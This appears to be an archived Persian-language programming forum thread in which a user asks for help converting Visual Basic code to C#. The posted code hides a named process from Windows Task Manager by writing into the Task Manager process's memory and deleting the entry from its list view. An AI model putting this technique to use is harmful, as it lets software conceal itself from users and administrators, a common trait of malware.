PDA

View Full Version : تبدیل کدهای VB به #C (????)



DoctorJay
پنج شنبه 11 بهمن 1386, 10:53 صبح
دوستان عزیز سلام .

من یه سری کد ویژوال بیسیک دارم که کارش مخفی کردن اسم پردازه از لیست پروسس های

Task Manager هست .

حالا اگه به نظرتون درخواستم مربوط به این فروم میشه کمکم کنید .

یا از طریق دیگه ای کمکم کنید , به اینصورت که کدایی که توی C# همچین امکانی رو

به برنامه نویس میده رو در اختیارم بذارید .

با تشکر ... :لبخندساده:

sinpin
پنج شنبه 11 بهمن 1386, 14:06 عصر
دوستان عزیز سلام .
من یه سری کد ویژوال بیسیک دارم که کارش مخفی کردن اسم پردازه از لیست پروسس های
Task Manager هست .
حالا اگه به نظرتون درخواستم مربوط به این فروم میشه کمکم کنید .
یا از طریق دیگه ای کمکم کنید , به اینصورت که کدایی که توی C# همچین امکانی رو
به برنامه نویس میده رو در اختیارم بذارید .
با تشکر ... :لبخندساده:
سئوال شما یه مقدار مبهمه؛
معمولا در انجام اینجور کارها چون از API های سیستم عامل استفاده میشود ربط خاصی به هیچ تالار یا زبانی ندارند. توی #C هم میشه توابع API رو استفاده کرد.

DoctorJay
پنج شنبه 11 بهمن 1386, 16:22 عصر
من 2تا کد دارم

این کدارو می خواستم تبدیل کنم : ( حقیقتش اصلا یادم رفت کدارو بذارم !!! )


Private Type bkh
flag As Long
psz As Long
lParam As Long
pt As Long
vkDirection As Long
End Type
Private Declare Function VirtualAllocEx Lib "kernel32.dll" (ByVal hProcess As Long, ByVal lpAddress As Long, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As Long
Private Declare Function OpenProcess Lib "kernel32.dll" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Private Declare Function GetWindowThreadProcessId Lib "user32.dll" (ByVal hwnd As Long, ByRef lpdwProcessId As Long) As Long
Private Declare Function WriteProcessMemory Lib "kernel32" (ByVal hProcess As Long, ByVal lpBaseAddress As Long, ByVal lpBuffer As Long, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long
Private Declare Function VirtualFreeEx Lib "kernel32.dll" (ByVal hProcess As Long, ByRef lpAddress As Any, ByRef dwSize As Long, ByVal dwFreeType As Long) As Long
Private Declare Function SendMessage Lib "user32.dll" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Private Declare Function GetCurrentProcessId Lib "kernel32.dll" () As Long
Private Declare Function KillTimer Lib "user32.dll" (ByVal hwnd As Long, ByVal nIDEvent As Long) As Long
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function FindWindowEx Lib "user32.dll" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long

Private Sub Hide_Process(Name As String)
Dim pName As Long
Dim pType As Long
Dim l As Long
Dim Tid As Long
Dim hTid As Long
Dim pid As Long
Dim h As Long
Dim i As Long
Dim hProcess As Long
Dim f As bkh
Dim s As String
Dim bkh() As Byte
h = FindWindow(vbNullString, "Windows Task Manager")
KillTimer h, 0
h = FindWindowEx(h, 0, "#32770", vbNullString)
h = FindWindowEx(h, 0, "SysListView32", vbNullString)
If h = 0 Then Exit Sub
f.flag = 8 Or &H20
Call GetWindowThreadProcessId(h, pid)
hProcess = OpenProcess(1082, 0, pid)
bkh = StrConv(Name, vbFromUnicode)
pName = VirtualAllocEx(hProcess, 0, Len(Name) + 1, &H1000, 4)
WriteProcessMemory hProcess, pName, VarPtr(bkh(0)), Len(Name), l
f.psz = pName
pType = VirtualAllocEx(hProcess, 0, Len(f), &H1000, 4)
WriteProcessMemory hProcess, pType, VarPtr(f.flag), Len(f), l
i = SendMessage(h, &H1000 + 13, 0, pType)
If i <> -1 Then SendMessage h, &H1000 + 8, i, 0
VirtualFreeEx hProcess, pType, Len(f), &H8000
VirtualFreeEx hProcess, pName, LenB(Name) + 1, &H8000
End Sub


من می خواستم ببینم میشه معادل سازی کرد یا نه ...

یعنی با استفاده از همین APIها و سایر کدای استفاده شده همین کار رو توی #C انجام داد !!

mohammad272005
دوشنبه 15 بهمن 1386, 00:21 صبح
کاش پروژة کامل VB.NET رو میذاشتی اونوقت شاید من میتونستم به #C تبدیلش کنم.